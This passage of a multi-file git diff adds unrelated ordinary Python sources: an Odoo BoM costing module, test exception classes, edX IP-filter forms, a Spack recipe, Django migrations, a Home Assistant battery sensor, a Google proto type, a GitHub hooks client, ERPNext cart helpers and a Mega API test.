MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see http://www.gnu.org/licenses/. +# +############################################################################## + +from openerp.addons.decimal_precision import decimal_precision as dp +from openerp import models, fields, api +from openerp.exceptions import ValidationError +from openerp.tools.translate import _ + + +class mrp_bom(models.Model): + + _inherit = 'mrp.bom' + + @api.multi + def _get_cost(self): + product_uom_obj = self.env['product.uom'] + for record in self: + cost = 0.0 + default_uom = record.product_id.uom_id.id + # cantidad en la UdM del producto (default_uom) + # qty = product_uom_obj._compute_qty(record.product_uom.id, + # record.product_qty, + # default_uom) + for bom_line in record.bom_line_ids: + # Coste + default_uom = bom_line.product_id.uom_id.id + # cantidad en la UdM del producto (default_uom) + qty = product_uom_obj._compute_qty(bom_line.product_uom.id, + bom_line.product_qty, + default_uom) + cost += qty * bom_line.product_id.standard_price + record.cost = cost + + # Otros costes + other_costs = 0.0 + for other_cost in record.product_tmpl_id.other_cost_ids: + other_costs += other_cost.cost + std_cost = record.product_id.material_cost + \ + record.product_id.production_cost + other_costs + # TODO: Añadir un botón de recalcular + self.env.cr.execute(""" + UPDATE + product_product + SET + standard_price = %s + WHERE + id = %s; + """ % (std_cost, record.product_id.id)) + + cost = fields.Float(string="Cost", + digits_compute = dp.get_precision('Product costing'), + help=_("Components cost for this BoM."), + compute=_get_cost) + + +class mrp_workcenter_cost_concept(models.Model): + """ + Master data for workcenter cost concepts. + """ + + _name = 'mrp.workcenter.cost.concept' + _description = 'Per-hour workcenter cost concept definition' + + name = fields.Char(string="Description", required=True) + + +class mrp_workcenter_product_cost(models.Model): + + _name = 'mrp.workcenter.product.cost' + _description = 'Per-product workcenter cost' + + @api.model + def _default_cost_concepts(self): + mrp_wc_cost_concept_obj = self.env['mrp.workcenter.cost.concept'] + all_concept_names = mrp_wc_cost_concept_obj.search_read([], ['name']) + lines = [] + for x in all_concept_names: + lines.append((0, 0, {'name': x['name']})) + return lines + + @api.multi + def _get_cost_all(self): + res = {} + precision = self.env['decimal.precision'].precision_get( + 'Product costing') + for record in self: + res[record.id] = { + 'cost_hour': 0.0, + 'cost_cycle': 0.0, + 'cost_uom': 0.0, + } + for line in record.line_ids: + record.cost_hour += line.cost + record.cost_cycle = round( + record.cost_hour * \ + record.time_cycle, precision) + record.cost_uom = round( + record.cost_cycle / \ + (record.capacity_per_cycle * \ + record.product_efficiency), precision) + + workcenter_id = fields.Many2one(comodel_name="mrp.workcenter", + string="Workcenter", required=True) + # TODO: Filtro para que sólo se muestren productos que usen esta máquina. + product_id = fields.Many2one(comodel_name="product.product", + string="Product", required=True) + product_tmpl_id = fields.Many2one(comodel_name="product.template", string="Product template", + related="product_id.product_tmpl_id") + sequence = fields.Integer(string="Sequence", required=True, default=10) + capacity_per_cycle = fields.Float(string="Capacity/cycle", required=True, + help="Quantity of production product (in product's UoM) " + "that the workcenter contributes to produce in a cycle.", + digits=(4, 5), default=1.0) + time_cycle = fields.Float(string="Cycle time", + help="Time needed for this machine to complete" + " one cycle.", digits=(4, 9)) + product_efficiency = fields.Float(string="Efficiency factor", + help="A factor of 0.9 means a loss of 10% during the production " + "process.", + required=True, default=1.0) + cost_hour = fields.Float(string="Cost per hour", + digits=dp.get_precision('Product costing'), + help="Calculated cost per hour.", + compute=_get_cost_all) + cost_cycle = fields.Float(string="Cost per cycle", + digits=dp.get_precision('Product costing'), + help="Calculated cost per cycle.", + compute=_get_cost_all) + cost_uom = fields.Float(string="Cost per UoM", + digits=dp.get_precision('Product costing'), + help="Calculated cost per product's UoM.", + compute=_get_cost_all) + line_ids = fields.One2many(comodel_name="mrp.workcenter.product.cost.item", + inverse_name="workcenter_product_cost_id", + string="Cost details", + default=_default_cost_concepts + ) + + @api.one + @api.constrains('capacity_per_cycle') + def _check_qty(self): + if self.capacity_per_cycle <= 0: + raise ValidationError("Capacity per cycle cannot " + "be negative or zero!") + return True + + # Do not allow to declare several cost lines for the same product on a + # given workcenter + _sql_constraints = [ + ('product_uniq', 'unique(workcenter_id, product_id)', + _("A product's cost definition must be unique per work center!")), + ] + + +class mrp_workcenter_product_cost_item(models.Model): + + _name = 'mrp.workcenter.product.cost.item' + _description = 'Hourly workcenter cost detail' + + workcenter_product_cost_id = fields.Many2one(string="Product", + comodel_name="mrp.workcenter.product.cost", + required=True, + default=lambda self, cr, uid, ctx: ctx and ctx.get( + 'workcenter_product_cost_id', False) or False) + name = fields.Char(string="Description", required=True) + cost = fields.Float(string="Hourly cost", default=0.0, + digits=dp.get_precision('Product costing'), + help="Cost per hour") + + +class mrp_workcenter(models.Model): + + _inherit = 'mrp.workcenter' + + product_cost_ids = fields.One2many(inverse_name="workcenter_id", + comodel_name="mrp.workcenter.product.cost", + string="Efficiency and cost") diff --git a/pool/shard008/Python/0076254_exceptions.py b/pool/shard008/Python/0076254_exceptions.py new file mode 100644 index 0000000000000000000000000000000000000000..73c59ae8945d1f52c721e5859a656278029cbece --- /dev/null +++ b/pool/shard008/Python/0076254_exceptions.py @@ -0,0 +1,122 @@ + +class BranchNotFoundError(ValueError): + def __init__(self, branch, repo=None): + self.branch = branch + self.repo = repo + + def __str__(self): + if self.repo: + repo_str = " in repo: %s" % self.repo + else: + repo_str = "" + return "Branch '{branch}' not found{repo_str}!".format( + branch=self.branch, repo_str=repo_str) + + +class GitError(RuntimeError): + pass + + +class BootstrapError(RuntimeError): + pass + + +class ConfigError(RuntimeError): + """ + Meant to be used when an invalid config entry is found. + """ + pass + + +class CommandFailedError(Exception): + + """ + Exception thrown on command failure + """ + def __init__(self, command, exitstatus, node=None, label=None): + self.command = command + self.exitstatus = exitstatus + self.node = node + self.label = label + + def __str__(self): + prefix = "Command failed" + if self.label: + prefix += " ({label})".format(label=self.label) + if self.node: + prefix += " on {node}".format(node=self.node) + return "{prefix} with status {status}: {cmd!r}".format( + status=self.exitstatus, + cmd=self.command, + prefix=prefix, + ) + + +class CommandCrashedError(Exception): + + """ + Exception thrown on crash + """ + def __init__(self, command): + self.command = command + + def __str__(self): + return "Command crashed: {command!r}".format( + command=self.command, + ) + + +class ConnectionLostError(Exception): + + """ + Exception thrown when the connection is lost + """ + def __init__(self, command, node=None): + self.command = command + self.node = node + + def __str__(self): + node_str = 'to %s ' % self.node if self.node else '' + return "SSH connection {node_str}was lost: {command!r}".format( + node_str=node_str, + command=self.command, + ) + + +class ScheduleFailError(RuntimeError): + def __init__(self, message, name=None): + self.message = message + self.name = name + + def __str__(self): + return "Scheduling {name} failed: {msg}".format( + name=self.name, + msg=self.message, + ).replace(' ', ' ') + + +class VersionNotFoundError(Exception): + def __init__(self, url): + self.url = url + + def __str__(self): + return "Failed to fetch package version from %s" % self.url + + +class UnsupportedPackageTypeError(Exception): + def __init__(self, node): + self.node = node + + def __str__(self): + return "os.package_type {pkg_type!r} on {node}".format( + node=self.node, pkg_type=self.node.os.package_type) + + +class SELinuxError(Exception): + def __init__(self, node, denials): + self.node = node + self.denials = denials + + def __str__(self): + return "SELinux denials found on {node}: {denials}".format( + node=self.node, denials=self.denials) diff --git a/pool/shard008/Python/0076259_db_tasks.py b/pool/shard008/Python/0076259_db_tasks.py new file mode 100644 index 0000000000000000000000000000000000000000..c0cb36646a70257e7e01749c9e492bcc7bb9188b --- /dev/null +++ b/pool/shard008/Python/0076259_db_tasks.py @@ -0,0 +1,17 @@ +from anchore_engine import db +from anchore_engine.db import Task + + +def get_all(task_type=Task, session=None, json_safe=False): + if not session: + session = db.Session + + result = [] + + for t in session.query(task_type): + if json_safe: + result.append(t.to_json()) + else: + result.append(t.to_dict()) + + return result diff --git a/pool/shard008/Python/0076262_forms.py b/pool/shard008/Python/0076262_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..9529f84b8b47164dc3ccd14ad8fbf4d3a6677d5a --- /dev/null +++ b/pool/shard008/Python/0076262_forms.py @@ -0,0 +1,103 @@ +""" +Defines forms for providing validation of embargo admin details. +""" + +from django import forms +from django.utils.translation import ugettext as _ + +import ipaddr + +from xmodule.modulestore.django import modulestore +from opaque_keys import InvalidKeyError +from opaque_keys.edx.keys import CourseKey + +from .models import IPFilter, RestrictedCourse + + +class RestrictedCourseForm(forms.ModelForm): + """Validate course keys for the RestrictedCourse model. + + The default behavior in Django admin is to: + * Save course keys for courses that do not exist. + * Return a 500 response if the course key format is invalid. + + Using this form ensures that we display a user-friendly + error message instead. + + """ + class Meta(object): + model = RestrictedCourse + fields = '__all__' + + def clean_course_key(self): + """Validate the course key. + + Checks that the key format is valid and that + the course exists. If not, displays an error message. + + Arguments: + field_name (str): The name of the field to validate. + + Returns: + CourseKey + + """ + cleaned_id = self.cleaned_data['course_key'] + error_msg = _('COURSE NOT FOUND. Please check that the course ID is valid.') + + try: + course_key = CourseKey.from_string(cleaned_id) + except InvalidKeyError: + raise forms.ValidationError(error_msg) + + if not modulestore().has_course(course_key): + raise forms.ValidationError(error_msg) + + return course_key + + +class IPFilterForm(forms.ModelForm): + """Form validating entry of IP addresses""" + + class Meta(object): + model = IPFilter + fields = '__all__' + + def _is_valid_ip(self, address): + """Whether or not address is a valid ipv4 address or ipv6 address""" + try: + # Is this an valid ip address? + ipaddr.IPNetwork(address) + except ValueError: + return False + return True + + def _valid_ip_addresses(self, addresses): + """ + Checks if a csv string of IP addresses contains valid values. + + If not, raises a ValidationError. + """ + if addresses == '': + return '' + error_addresses = [] + for addr in addresses.split(','): + address = addr.strip() + if not self._is_valid_ip(address): + error_addresses.append(address) + if error_addresses: + msg = 'Invalid IP Address(es): {0}'.format(error_addresses) + msg += ' Please fix the error(s) and try again.' + raise forms.ValidationError(msg) + + return addresses + + def clean_whitelist(self): + """Validates the whitelist""" + whitelist = self.cleaned_data["whitelist"] + return self._valid_ip_addresses(whitelist) + + def clean_blacklist(self): + """Validates the blacklist""" + blacklist = self.cleaned_data["blacklist"] + return self._valid_ip_addresses(blacklist) diff --git a/pool/shard008/Python/0076264_package.py b/pool/shard008/Python/0076264_package.py new file mode 100644 index 0000000000000000000000000000000000000000..09357ad76cb5f46218d42f58e6a0e991fcee0f82 --- /dev/null +++ b/pool/shard008/Python/0076264_package.py @@ -0,0 +1,87 @@ +############################################################################## +# Copyright (c) 2013-2018, Lawrence Livermore National Security, LLC. +# Produced at the Lawrence Livermore National Laboratory. +# +# This file is part of Spack. +# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. +# LLNL-CODE-647188 +# +# For details, see https://github.com/spack/spack +# Please also see the NOTICE and LICENSE files for our notice and the LGPL. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License (as +# published by the Free Software Foundation) version 2.1, February 1999. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and +# conditions of the GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +############################################################################## +from spack import * +import os + + +class Qbank(Package): + """QBank is a unique dynamic reservation-based allocation management system + that manages the utilization of computational resources in a multi-project + environment. It is used in conjunction with a resource management system + allowing an organization to guarantee greater fairness and enforce mission + priorities by associating a charge with the use of computational resources + and allocating resource credits which limit how much of the resources may + be used at what time and by whom. It tracks resource utilization and allows + for insightful planning.""" + + # QBank is so old that it no longer has (never had?) a homepage + # but it was developed at Pacific Northwest National Laboratory + # by Scott Jackson + homepage = "http://www.pnnl.gov/" + url = "file://{0}/qbank-2.10.4.tar.gz".format(os.getcwd()) + + version('2.10.4', '0820587353e63d32ddb49689dd4289e7') + + variant('doc', default=False, description='Build documentation') + + depends_on('openssl') + + depends_on('perl@5.6:5.16', type=('build', 'run')) + depends_on('perl-dbi@1.00:', type=('build', 'run')) + + phases = ['configure', 'build', 'install'] + + def configure_args(self): + prefix = self.prefix + + config_args = [ + '--prefix', prefix, + '--logdir', join_path(prefix, 'var', 'log', 'qbank') + ] + + return config_args + + def configure(self, spec, prefix): + perl = which('perl') + perl('configure', *self.configure_args()) + + def build(self, spec, prefix): + make() + + if '+doc' in spec: + make('docs') + + def install(self, spec, prefix): + make('install') + + if '+doc' in spec: + install_tree('doc', join_path(prefix, 'doc')) + + def setup_environment(self, spack_env, run_env): + spec = self.spec + prefix = self.prefix + + if '+doc' in spec: + run_env.prepend_path('MANPATH', join_path(prefix, 'doc')) diff --git a/pool/shard008/Python/0076276_0003_auto_20170427_1825.py b/pool/shard008/Python/0076276_0003_auto_20170427_1825.py new file mode 100644 index 0000000000000000000000000000000000000000..fa598c47ef28da1bc80d84fbf5fb95316821871a --- /dev/null +++ b/pool/shard008/Python/0076276_0003_auto_20170427_1825.py @@ -0,0 +1,33 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11 on 2017-04-27 18:25 +from __future__ import unicode_literals + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ('webcore', '0002_auto_20170427_1604'), + ] + + operations = [ + migrations.CreateModel( + name='PostAd', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('category', models.CharField(choices=[('LAB', 'labor'), ('CAR', 'cars'), ('TRU', 'trucks'), ('WRI', 'writing')], max_length=3)), + ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), + ], + ), + migrations.RemoveField( + model_name='profile', + name='user', + ), + migrations.DeleteModel( + name='Profile', + ), + ] diff --git a/pool/shard008/Python/0076278_sensor.py b/pool/shard008/Python/0076278_sensor.py new file mode 100644 index 0000000000000000000000000000000000000000..9256c3ad18dc475e37a62f3e8be6739e041de89b --- /dev/null +++ b/pool/shard008/Python/0076278_sensor.py @@ -0,0 +1,136 @@ +"""Details about the built-in battery.""" +import logging +import os + +import voluptuous as vol + +from homeassistant.components.sensor import PLATFORM_SCHEMA +from homeassistant.const import ATTR_NAME, CONF_NAME, DEVICE_CLASS_BATTERY +import homeassistant.helpers.config_validation as cv +from homeassistant.helpers.entity import Entity + +_LOGGER = logging.getLogger(__name__) + +ATTR_PATH = "path" +ATTR_ALARM = "alarm" +ATTR_CAPACITY = "capacity" +ATTR_CAPACITY_LEVEL = "capacity_level" +ATTR_CYCLE_COUNT = "cycle_count" +ATTR_ENERGY_FULL = "energy_full" +ATTR_ENERGY_FULL_DESIGN = "energy_full_design" +ATTR_ENERGY_NOW = "energy_now" +ATTR_MANUFACTURER = "manufacturer" +ATTR_MODEL_NAME = "model_name" +ATTR_POWER_NOW = "power_now" +ATTR_SERIAL_NUMBER = "serial_number" +ATTR_STATUS = "status" +ATTR_VOLTAGE_MIN_DESIGN = "voltage_min_design" +ATTR_VOLTAGE_NOW = "voltage_now" + +ATTR_HEALTH = "health" +ATTR_STATUS = "status" + +CONF_BATTERY = "battery" +CONF_SYSTEM = "system" + +DEFAULT_BATTERY = 1 +DEFAULT_NAME = "Battery" +DEFAULT_PATH = "/sys/class/power_supply" +DEFAULT_SYSTEM = "linux" + +SYSTEMS = ["android", "linux"] + +PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend( + { + vol.Optional(CONF_BATTERY, default=DEFAULT_BATTERY): cv.positive_int, + vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, + vol.Optional(CONF_SYSTEM, default=DEFAULT_SYSTEM): vol.In(SYSTEMS), + } +) + + +def setup_platform(hass, config, add_entities, discovery_info=None): + """Set up the Linux Battery sensor.""" + name = config.get(CONF_NAME) + battery_id = config.get(CONF_BATTERY) + system = config.get(CONF_SYSTEM) + + try: + if system == "android": + os.listdir(os.path.join(DEFAULT_PATH, "battery")) + else: + os.listdir(os.path.join(DEFAULT_PATH, f"BAT{battery_id}")) + except FileNotFoundError: + _LOGGER.error("No battery found") + return False + + add_entities([LinuxBatterySensor(name, battery_id, system)], True) + + +class LinuxBatterySensor(Entity): + """Representation of a Linux Battery sensor.""" + + def __init__(self, name, battery_id, system): + """Initialize the battery sensor.""" + import batinfo + + self._battery = batinfo.Batteries() + + self._name = name + self._battery_stat = None + self._battery_id = battery_id - 1 + self._system = system + self._unit_of_measurement = "%" + + @property + def name(self): + """Return the name of the sensor.""" + return self._name + + @property + def device_class(self): + """Return the device class of the sensor.""" + return DEVICE_CLASS_BATTERY + + @property + def state(self): + """Return the state of the sensor.""" + return self._battery_stat.capacity + + @property + def unit_of_measurement(self): + """Return the unit the value is expressed in.""" + return self._unit_of_measurement + + @property + def device_state_attributes(self): + """Return the state attributes of the sensor.""" + if self._system == "android": + return { + ATTR_NAME: self._battery_stat.name, + ATTR_PATH: self._battery_stat.path, + ATTR_HEALTH: self._battery_stat.health, + ATTR_STATUS: self._battery_stat.status, + } + return { + ATTR_NAME: self._battery_stat.name, + ATTR_PATH: self._battery_stat.path, + ATTR_ALARM: self._battery_stat.alarm, + ATTR_CAPACITY_LEVEL: self._battery_stat.capacity_level, + ATTR_CYCLE_COUNT: self._battery_stat.cycle_count, + ATTR_ENERGY_FULL: self._battery_stat.energy_full, + ATTR_ENERGY_FULL_DESIGN: self._battery_stat.energy_full_design, + ATTR_ENERGY_NOW: self._battery_stat.energy_now, + ATTR_MANUFACTURER: self._battery_stat.manufacturer, + ATTR_MODEL_NAME: self._battery_stat.model_name, + ATTR_POWER_NOW: self._battery_stat.power_now, + ATTR_SERIAL_NUMBER: self._battery_stat.serial_number, + ATTR_STATUS: self._battery_stat.status, + ATTR_VOLTAGE_MIN_DESIGN: self._battery_stat.voltage_min_design, + ATTR_VOLTAGE_NOW: self._battery_stat.voltage_now, + } + + def update(self): + """Get the latest data and updates the states.""" + self._battery.update() + self._battery_stat = self._battery.stat[self._battery_id] diff --git a/pool/shard008/Python/0076279_feature.py b/pool/shard008/Python/0076279_feature.py new file mode 100644 index 0000000000000000000000000000000000000000..96cd30958069eaebf158e27fc97388d25680e380 --- /dev/null +++ b/pool/shard008/Python/0076279_feature.py @@ -0,0 +1,124 @@ +# -*- coding: utf-8 -*- +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import proto # type: ignore + +from google.cloud.aiplatform_v1beta1.types import feature_monitoring_stats +from google.cloud.aiplatform_v1beta1.types import featurestore_monitoring +from google.protobuf import timestamp_pb2 # type: ignore + + +__protobuf__ = proto.module( + package="google.cloud.aiplatform.v1beta1", manifest={"Feature",}, +) + + +class Feature(proto.Message): + r"""Feature Metadata information that describes an attribute of + an entity type. For example, apple is an entity type, and color + is a feature that describes apple. + + Attributes: + name (str): + Immutable. Name of the Feature. Format: + ``projects/{project}/locations/{location}/featurestores/{featurestore}/entityTypes/{entity_type}/features/{feature}`` + + The last part feature is assigned by the client. The feature + can be up to 64 characters long and can consist only of + ASCII Latin letters A-Z and a-z, underscore(_), and ASCII + digits 0-9 starting with a letter. The value will be unique + given an entity type. + description (str): + Description of the Feature. + value_type (google.cloud.aiplatform_v1beta1.types.Feature.ValueType): + Required. Immutable. Type of Feature value. + create_time (google.protobuf.timestamp_pb2.Timestamp): + Output only. Timestamp when this EntityType + was created. + update_time (google.protobuf.timestamp_pb2.Timestamp): + Output only. Timestamp when this EntityType + was most recently updated. + labels (Sequence[google.cloud.aiplatform_v1beta1.types.Feature.LabelsEntry]): + Optional. The labels with user-defined + metadata to organize your Features. + Label keys and values can be no longer than 64 + characters (Unicode codepoints), can only + contain lowercase letters, numeric characters, + underscores and dashes. International characters + are allowed. + See https://goo.gl/xmQnxf for more information + on and examples of labels. No more than 64 user + labels can be associated with one Feature + (System labels are excluded)." + System reserved label keys are prefixed with + "aiplatform.googleapis.com/" and are immutable. + etag (str): + Used to perform a consistent + read-modify-write updates. If not set, a blind + "overwrite" update happens. + monitoring_config (google.cloud.aiplatform_v1beta1.types.FeaturestoreMonitoringConfig): + Optional. The custom monitoring configuration for this + Feature, if not set, use the monitoring_config defined for + the EntityType this Feature belongs to. Only Features with + type + ([Feature.ValueType][google.cloud.aiplatform.v1beta1.Feature.ValueType]) + BOOL, STRING, DOUBLE or INT64 can enable monitoring. + + If this is populated with + [FeaturestoreMonitoringConfig.disabled][] = true, snapshot + analysis monitoring is disabled; if + [FeaturestoreMonitoringConfig.monitoring_interval][] + specified, snapshot analysis monitoring is enabled. + Otherwise, snapshot analysis monitoring config is same as + the EntityType's this Feature belongs to. + monitoring_stats (Sequence[google.cloud.aiplatform_v1beta1.types.FeatureStatsAnomaly]): + Output only. A list of historical [Snapshot + Analysis][FeaturestoreMonitoringConfig.SnapshotAnalysis] + stats requested by user, sorted by + [FeatureStatsAnomaly.start_time][google.cloud.aiplatform.v1beta1.FeatureStatsAnomaly.start_time] + descending. + """ + + class ValueType(proto.Enum): + r"""An enum representing the value type of a feature.""" + VALUE_TYPE_UNSPECIFIED = 0 + BOOL = 1 + BOOL_ARRAY = 2 + DOUBLE = 3 + DOUBLE_ARRAY = 4 + INT64 = 9 + INT64_ARRAY = 10 + STRING = 11 + STRING_ARRAY = 12 + BYTES = 13 + + name = proto.Field(proto.STRING, number=1,) + description = proto.Field(proto.STRING, number=2,) + value_type = proto.Field(proto.ENUM, number=3, enum=ValueType,) + create_time = proto.Field(proto.MESSAGE, number=4, message=timestamp_pb2.Timestamp,) + update_time = proto.Field(proto.MESSAGE, number=5, message=timestamp_pb2.Timestamp,) + labels = proto.MapField(proto.STRING, proto.STRING, number=6,) + etag = proto.Field(proto.STRING, number=7,) + monitoring_config = proto.Field( + proto.MESSAGE, + number=9, + message=featurestore_monitoring.FeaturestoreMonitoringConfig, + ) + monitoring_stats = proto.RepeatedField( + proto.MESSAGE, number=10, message=feature_monitoring_stats.FeatureStatsAnomaly, + ) + + +__all__ = tuple(sorted(__protobuf__.manifest)) diff --git a/pool/shard008/Python/0076281_hooks.py b/pool/shard008/Python/0076281_hooks.py new file mode 100644 index 0000000000000000000000000000000000000000..59cf6e147bba4241cf921522b2a5825f0f0855d4 --- /dev/null +++ b/pool/shard008/Python/0076281_hooks.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python +# -*- encoding: utf-8 -*- + +from . import Service + + +class Hooks(Service): + """ Consume `Hooks API + `_ + + .. warning:: + You must be authenticated and have repository's admin-permission + """ + + def list(self, user=None, repo=None): + """ Get repository's hooks + + :param str user: Username + :param str repo: Repository + :returns: A :doc:`result` + + .. note:: + Remember :ref:`config precedence` + """ + request = self.make_request('repos.hooks.list', user=user, repo=repo) + return self._get_result(request) + + def get(self, hook_id, user=None, repo=None): + """ Get a single hook + + :param int hook_id: Hook id + :param str user: Username + :param str repo: Repository + + .. note:: + Remember :ref:`config precedence` + """ + request = self.make_request('repos.hooks.get', + id=hook_id, user=user, repo=repo) + return self._get(request) + + def create(self, data, user=None, repo=None): + """ Create a hook + + :param dict data: Input. See `github hooks doc`_ + :param str user: Username + :param str repo: Repository + + .. note:: + Remember :ref:`config precedence` + + :: + + data = { + "name": "acunote", + "active": True, + "config": { + 'token': 'AAA...', + }, + "events": ['push', 'issues'], + } + hooks_service.create(data, user='octocat', repo='oct_repo') + """ + request = self.make_request('repos.hooks.create', + user=user, repo=repo, body=data) + return self._post(request) + + def update(self, hook_id, data, user=None, repo=None): + """ Update a single hook + + :param int hook_id: Hook id + :param dict data: Input. See `github hooks doc`_ + :param str user: Username + :param str repo: Repository + + .. note:: + Remember :ref:`config precedence` + + :: + + hooks_service.update(42, dict(active=False), user='octocat', + repo='oct_repo') + """ + request = self.make_request('repos.hooks.update', + id=hook_id, user=user, repo=repo, body=data) + return self._patch(request) + + def test(self, hook_id, user=None, repo=None): + """ Test a hook + + :param str user: Username + :param str repo: Repository + + .. note:: + Remember :ref:`config precedence` + + This will trigger the hook with the latest push to the current + repository. + """ + request = self.make_request('repos.hooks.test', + id=hook_id, user=user, repo=repo) + self._request('post', request) + + def delete(self, hook_id, user=None, repo=None): + """ Delete a single hook + + :param int hook_id: Hook id + :param str user: Username + :param str repo: Repository + + .. note:: + Remember :ref:`config precedence` + """ + request = self.make_request('repos.hooks.delete', + id=hook_id, user=user, repo=repo) + self._delete(request) diff --git a/pool/shard008/Python/0076282_0037_auto_20160412_1728.py b/pool/shard008/Python/0076282_0037_auto_20160412_1728.py new file mode 100644 index 0000000000000000000000000000000000000000..960a970b381bf5e1b533089f393e73e6e887ace5 --- /dev/null +++ b/pool/shard008/Python/0076282_0037_auto_20160412_1728.py @@ -0,0 +1,28 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.9 on 2016-04-12 17:28 +from __future__ import unicode_literals + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + ('venta', '0036_auto_20160412_1726'), + ] + + operations = [ + migrations.AlterField( + model_name='order', + name='casher', + field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='casher', to=settings.AUTH_USER_MODEL, verbose_name='Cajero'), + ), + migrations.AlterField( + model_name='order', + name='waiter', + field=models.ForeignKey(default=2, on_delete=django.db.models.deletion.CASCADE, related_name='waiter', to=settings.AUTH_USER_MODEL, verbose_name='Mesero'), + preserve_default=False, + ), + ] diff --git a/pool/shard008/Python/0076288_init__.py b/pool/shard008/Python/0076288_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..7ea73249138af142e17791904c5673f4d43c039b --- /dev/null +++ b/pool/shard008/Python/0076288_init__.py @@ -0,0 +1,103 @@ +# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors +# License: GNU General Public License v3. See license.txt + +from __future__ import unicode_literals +import frappe +from frappe import _ +from frappe.utils import get_fullname, flt +from erpnext.shopping_cart.doctype.shopping_cart_settings.shopping_cart_settings import check_shopping_cart_enabled, get_default_territory + +# TODO +# validate stock of each item in Website Warehouse or have a list of possible warehouses in Shopping Cart Settings +# Below functions are used for test cases + +def get_quotation(user=None): + if not user: + user = frappe.session.user + if user == "Guest": + raise frappe.PermissionError + + check_shopping_cart_enabled() + party = get_party(user) + values = { + "order_type": "Shopping Cart", + party.doctype.lower(): party.name, + "docstatus": 0, + "contact_email": user, + "selling_price_list": "_Test Price List Rest of the World" + } + + try: + quotation = frappe.get_doc("Quotation", values) + except frappe.DoesNotExistError: + quotation = frappe.new_doc("Quotation") + quotation.update(values) + if party.doctype == "Customer": + quotation.contact_person = frappe.db.get_value("Contact", {"customer": party.name, "email_id": user}) + quotation.insert(ignore_permissions=True) + + return quotation + +def set_item_in_cart(item_code, qty, user=None): + validate_item(item_code) + quotation = get_quotation(user=user) + qty = flt(qty) + quotation_item = quotation.get("items", {"item_code": item_code}) + + if qty==0: + if quotation_item: + # remove + quotation.get("items").remove(quotation_item[0]) + else: + # add or update + if quotation_item: + quotation_item[0].qty = qty + else: + quotation.append("items", { + "doctype": "Quotation Item", + "item_code": item_code, + "qty": qty + }) + + quotation.save(ignore_permissions=True) + return quotation + +def validate_item(item_code): + item = frappe.db.get_value("Item", item_code, ["item_name", "show_in_website"], as_dict=True) + if not item.show_in_website: + frappe.throw(_("{0} cannot be purchased using Shopping Cart").format(item.item_name)) + +def get_party(user): + def _get_party(user): + customer = frappe.db.get_value("Contact", {"email_id": user}, "customer") + if customer: + return frappe.get_doc("Customer", customer) + + lead = frappe.db.get_value("Lead", {"email_id": user}) + if lead: + return frappe.get_doc("Lead", lead) + + # create a lead + lead = frappe.new_doc("Lead") + lead.update({ + "email_id": user, + "lead_name": get_fullname(user), + "territory": guess_territory() + }) + lead.insert(ignore_permissions=True) + + return lead + + if not getattr(frappe.local, "shopping_cart_party", None): + frappe.local.shopping_cart_party = {} + + if not frappe.local.shopping_cart_party.get(user): + frappe.local.shopping_cart_party[user] = _get_party(user) + + return frappe.local.shopping_cart_party[user] + +def guess_territory(): + territory = None + if frappe.session.get("session_country"): + territory = frappe.db.get_value("Territory", frappe.session.get("session_country")) + return territory or get_default_territory() diff --git a/pool/shard008/Python/0076290_tests.py b/pool/shard008/Python/0076290_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..12897a39921ab2ee291a88f2c9d41c0de00ba8d5 --- /dev/null +++ b/pool/shard008/Python/0076290_tests.py @@ -0,0 +1,62 @@ +from mega import Mega + + +def test(): + """ + Enter your account details to begin + comment/uncomment lines to test various parts of the API + see readme.md for more information + """ + + #user details + email = 'your@email.com' + password = 'password' + + mega = Mega() + #mega = Mega({'verbose': True}) # verbose option for print output + + # login + m = mega.login(email, password) + + # get user details + details = m.get_user() + print(details) + + # get account files + files = m.get_files() + + # get account disk quota in MB + print(m.get_quota()) + # get account storage space + print(m.get_storage_space()) + + # example iterate over files + for file in files: + print(files[file]) + + # upload file + print(m.upload('tests.py')) + + # search for a file in account + file = m.find('tests.py') + + if file: + # get public link + link = m.get_link(file) + print(link) + + # download file. by file object or url + print m.download(file, '/tmp') + #m.download_url(link) + + #delete or destroy file. by id or url + print(m.delete(file[0])) + #print(m.destroy(file[0])) + #print(m.delete_url(link)) + #print(m.destroy_url(link)) + + # empty trash + print(m.empty_trash()) + +if __name__ == '__main__': + test() \ No newline at end of file diff --git a/pool/shard008/Python/0076295_news.py b/pool/shard008/Python/0076295_news.py new file mode 100644 index 0000000000000000000000000000000000000000..e955ed69f446bcc89bbe6a8e1515e15fb5895098 --- /dev/null +++ 